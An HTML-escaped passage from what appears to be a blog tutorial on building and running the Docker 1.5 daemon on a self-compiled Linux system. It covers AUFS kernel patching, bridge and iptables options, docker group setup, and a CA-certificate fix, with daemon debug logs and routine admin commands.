&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;zcat /proc/config.gz&lt;/span&gt; &lt;/blockquote&gt;
&lt;br /&gt;
&lt;h4&gt;
Dependency: AUFS and AUFS-&lt;/h4&gt;
AUFS(http://aufs.sf.net) is not a option in kernel, so you need to download and patch the kernel, it&#39;s not a hard task, only git clone it:&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;git clone git://git.code.sf.net/p/aufs/aufs3-standalone&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
and see the README file. It shows to you how to patch you kernel.&lt;br /&gt;
(use the command &quot;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;patch -Np1 -i file.patch&lt;/span&gt;&quot; in kernel source dir to apply path)&lt;br /&gt;
&lt;br /&gt;
You will need the aufs-utils too:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;git clone git://git.code.sf.net/p/aufs/aufs-util&lt;/span&gt;&lt;/blockquote&gt;
&lt;br /&gt;
If you do not make things right, this happens(about &lt;b&gt;aufs&lt;/b&gt;):&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$docker -D -d&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;...&lt;br /&gt;WARN[0000] WARNING: Udev sync is not supported. This will lead to unexpected behavior, data loss and errors&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;DEBU[0000] devicemapper: udev sync support: false&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;...&lt;br /&gt;FATA[0000] Error running DeviceCreate (CreatePool) dm_task_run failed&amp;nbsp;&lt;/span&gt;&lt;/blockquote&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;i&gt;NOTE: do not forget aufs-util or you will fall in error (explained later)&lt;/i&gt;&lt;br /&gt;
&lt;h4&gt;
Dependency: BRIDGE&lt;/h4&gt;
kernel options CONFIG_BRIDGE and &lt;a href=&quot;http://www.linuxfromscratch.org/blfs/view/svn/basicnet/bridge-utils.html&quot;&gt;bridge-utils&lt;/a&gt; is mandatory.&lt;br /&gt;
If your bridge module (bridge.ko) is not correctly installed, the docker daemon will not start:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$ docker -D -d&lt;br /&gt;INFO[0000] +job serveapi(unix:///var/run/docker.sock)&amp;nbsp;&amp;nbsp; &lt;br /&gt;WARN[0000] graphdriver aufs selected. Warning: your graphdriver directory /var/lib/docker already contains data managed by other graphdrivers: devicemapper &lt;br /&gt;DEBU[0000] Using graph driver aufs&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] Migrating existing containers&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] Creating images graph&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] Restored 0 elements&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] Creating repository list&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;INFO[0000] +job init_networkdriver()&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] Creating bridge docker0 with network 172.17.42.1/16 &lt;br /&gt;DEBU[0000] setting bridge mac address = true&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;package not installed&lt;br /&gt;INFO[0000] -job init_networkdriver() = ERR (1)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;FATA[0000] package not installed&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/blockquote&gt;
&lt;br /&gt;
&lt;h4&gt;
iptables failure:&lt;/h4&gt;
&lt;h4&gt;
&lt;span style=&quot;font-weight: normal;&quot;&gt;You problally forget &quot;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;CONFIG_NETFILTER_XT_MATCH_ADDRTYPE=m&lt;/span&gt;&quot;.&lt;/span&gt;&lt;/h4&gt;
&lt;h4&gt;
Success on run docker daemon&lt;/h4&gt;
So, after this we can start de docker daemon:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;INFO[0000] +job serveapi(unix:///var/run/docker.sock)&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] Using graph driver aufs&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] Migrating existing containers&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] Creating images graph&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] Restored 0 elements&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] Creating repository list&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;INFO[0000] +job init_networkdriver()&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] /sbin/iptables, [-C POSTROUTING -t nat -s 172.17.42.1/16 ! -o docker0 -j MASQUERADE] &lt;br /&gt;INFO[0000] Listening for HTTP on unix (/var/run/docker.sock) &lt;br /&gt;DEBU[0000] Registering GET, /images/search&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] Registering GET, /containers/json&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] Registering GET, /containers/{name:.*}/export &lt;br /&gt;DEBU[0000] Registering GET, /containers/{name:.*}/json&amp;nbsp; &lt;br /&gt;DEBU[0000] Registering GET, /containers/{name:.*}/attach/ws &lt;br /&gt;DEBU[0000] Registering GET, /containers/{name:.*}/stats &lt;br /&gt;DEBU[0000] Registering GET, /info&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] Registering GET, /version&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] Registering GET, /images/viz&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] Registering GET, /containers/ps&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] Registering GET, /containers/{name:.*}/top&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] Registering GET, /images/{name:.*}/history&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] Registering GET, /images/{name:.*}/json&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] Registering GET, /_ping&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] Registering GET, /events&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] Registering GET, /images/json&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] Registering GET, /images/get&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] Registering GET, /images/{name:.*}/get&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] Registering GET, /containers/{name:.*}/changes &lt;br /&gt;DEBU[0000] Registering GET, /containers/{name:.*}/logs&amp;nbsp; &lt;br /&gt;DEBU[0000] Registering GET, /exec/{id:.*}/json&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] Registering POST, /auth&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] Registering POST, /exec/{name:.*}/start&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] Registering POST, /exec/{name:.*}/resize&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] Registering POST, /images/create&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] Registering POST, /images/load&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] Registering POST, /images/{name:.*}/push&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] Registering POST, /containers/{name:.*}/start &lt;br /&gt;DEBU[0000] Registering POST, /containers/{name:.*}/rename &lt;br /&gt;DEBU[0000] Registering POST, /build&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] Registering POST, /containers/{name:.*}/unpause &lt;br /&gt;DEBU[0000] Registering POST, /containers/{name:.*}/restart &lt;br /&gt;DEBU[0000] Registering POST, /containers/{name:.*}/wait &lt;br /&gt;DEBU[0000] Registering POST, /containers/{name:.*}/attach &lt;br /&gt;DEBU[0000] Registering POST, /containers/{name:.*}/copy &lt;br /&gt;DEBU[0000] Registering POST, /containers/{name:.*}/exec &lt;br /&gt;DEBU[0000] Registering POST, /commit&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] Registering POST, /images/{name:.*}/tag&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] Registering POST, /containers/create&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] Registering POST, /containers/{name:.*}/kill&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;DEBU[0000] Registering POST, /containers/{name:.*}/pause &lt;br /&gt;DEBU[0000] Registering POST, /containers/{name:.*}/stop &lt;br /&gt;DEBU[0000] Registering POST, /containers/{name:.*}/resize &lt;br /&gt;DEBU[0000] /sbin/iptables, [-D FORWARD -i docker0 -o docker0 -j DROP] &lt;br /&gt;DEBU[0000] /sbin/iptables, [-C FORWARD -i docker0 -o docker0 -j ACCEPT] &lt;br /&gt;DEBU[0000] /sbin/iptables, [-C FORWARD -i docker0 ! -o docker0 -j ACCEPT] &lt;br /&gt;DEBU[0000] /sbin/iptables, [-C FORWARD -o docker0 -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT] &lt;br /&gt;DEBU[0000] /sbin/iptables, [-t nat -D PREROUTING -m addrtype --dst-type LOCAL -j DOCKER] &lt;br /&gt;DEBU[0000] /sbin/iptables, [-t nat -D OUTPUT -m addrtype --dst-type LOCAL ! --dst 127.0.0.0/8 -j DOCKER] &lt;br /&gt;DEBU[0000] /sbin/iptables, [-t nat -D OUTPUT -m addrtype --dst-type LOCAL -j DOCKER] &lt;br /&gt;DEBU[0000] /sbin/iptables, [-t nat -D PREROUTING -j DOCKER] &lt;br /&gt;DEBU[0000] /sbin/iptables, [-t nat -D OUTPUT -j DOCKER] &lt;br /&gt;DEBU[0000] /sbin/iptables, [-t nat -F DOCKER]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] /sbin/iptables, [-t nat -X DOCKER]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] /sbin/iptables, [-t nat -n -L DOCKER]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] /sbin/iptables, [-t nat -N DOCKER]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] /sbin/iptables, [-C -m addrtype --dst-type LOCAL] &lt;br /&gt;DEBU[0000] /sbin/iptables, [-t nat -A PREROUTING -m addrtype --dst-type LOCAL -j DOCKER] &lt;br /&gt;DEBU[0000] /sbin/iptables, [-C -m addrtype --dst-type LOCAL ! --dst 127.0.0.0/8] &lt;br /&gt;DEBU[0000] /sbin/iptables, [-t nat -A OUTPUT -m addrtype --dst-type LOCAL ! --dst 127.0.0.0/8 -j DOCKER] &lt;br /&gt;DEBU[0000] /sbin/iptables, [-t filter -n -L DOCKER]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] Registering DELETE, /containers/{name:.*}&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] Registering DELETE, /images/{name:.*}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] Registering OPTIONS,&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] docker group found. gid: 1004&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] /sbin/iptables, [-C FORWARD -o docker0 -j DOCKER] &lt;br /&gt;INFO[0000] -job init_networkdriver() = OK (0)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;INFO[0000] WARNING: mountpoint for memory not found&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;DEBU[0000] Restarting containers...&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;INFO[0000] docker daemon: 1.5.0 a8a31ef; execdriver: native-0.2; graphdriver: aufs &lt;br /&gt;INFO[0000] +job acceptconnections()&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;INFO[0000] -job acceptconnections() = OK (0)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br /&gt;
&lt;i&gt;&lt;b&gt;Note:&lt;/b&gt;&lt;/i&gt; if you have the warning:&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;WARN[0000] graphdriver aufs selected. Warning: your graphdriver directory /var/lib/docker already contains data managed by other graphdrivers: devicemapper &lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
just erase the dir contents:&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;rm -fr /var/lib/docker/*&lt;/span&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;h4&gt;
Using docker group&lt;/h4&gt;
Just a remember, you need to create a group named docker, and add your user to this docker group, then re-login(can use sudo su - youruser), just something like(as root):&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$ groupadd docker&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$ usermod -aG docker youruser&lt;/span&gt;&lt;/blockquote&gt;
then redo your login, or as normal user do:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$ sudo su - youruser&lt;/span&gt;&lt;/blockquote&gt;
You can use groups to see if you currently on docker group&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$ groups&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;users &lt;span style=&quot;font-family: Arial,Helvetica,sans-serif;&quot;&gt;&lt;i&gt;... your other groups ...&lt;/i&gt;&lt;/span&gt; &lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;docker&lt;/span&gt; &lt;/span&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
If you don&#39;t do it, only can run docker as root, that is not a good thing. or as normal user will get the message:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;FATA[0000] Post http:///var/run/docker.sock/v1.17/containers/create: dial unix /var/run/docker.sock: permission denied. Are you trying to connect to a TLS-enabled daemon without TLS? &lt;/span&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;h4&gt;
HTTPS Problem&lt;/h4&gt;
Then I follow the tutorial until it fails again :&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;INFO[0005] Get https://index.docker.io/v1/repositories/library/centos/images: x509: failed to load system roots and no roots provided &lt;/span&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;i&gt;NOTE: I did solve the problem, but I&#39;m not sure yet of how, so here I&#39;m posting the steps I took.&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
After some research, I understand that the docker error is because of problems of ca-certificates.&lt;br /&gt;
based on tianon commend on post:&lt;br /&gt;
&lt;a href=&quot;https://github.com/docker/docker/issues/3825&quot;&gt;https://github.com/docker/docker/issues/3825&lt;/a&gt;&lt;br /&gt;
I did run the commands in:&lt;br /&gt;
&lt;a href=&quot;https://github.com/dram/crux/blob/master/ca-certificates/Pkgfile&quot;&gt;https://github.com/dram/crux/blob/master/ca-certificates/Pkgfile&lt;/a&gt;&lt;br /&gt;
that are:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;# Description: Common CA certificates&lt;br /&gt;# URL: http://packages.debian.org/sid/ca-certificates&lt;br /&gt;# Packager: Xin Wang, dram dot wang at gmail dot com&lt;br /&gt;&lt;br /&gt;name=ca-certificates&lt;br /&gt;version=20111025&lt;br /&gt;release=1&lt;br /&gt;source=(http://ftp.us.debian.org/debian/pool/main/c/$name/${name}_${version}_all.deb)&lt;br /&gt;&lt;br /&gt;build() {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ar -x ${name}_${version}_all.deb&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; tar zxvf ./data.tar.gz&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; install -D -m 0755 usr/sbin/update-ca-certificates $PKG/usr/sbin/update-ca-certificates&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; cp -a etc $PKG/&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; mkdir -p $PKG/usr/share/ca-certificates/&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; cp -a usr/share/ca-certificates/* $PKG/usr/share/ca-certificates/&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; (&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 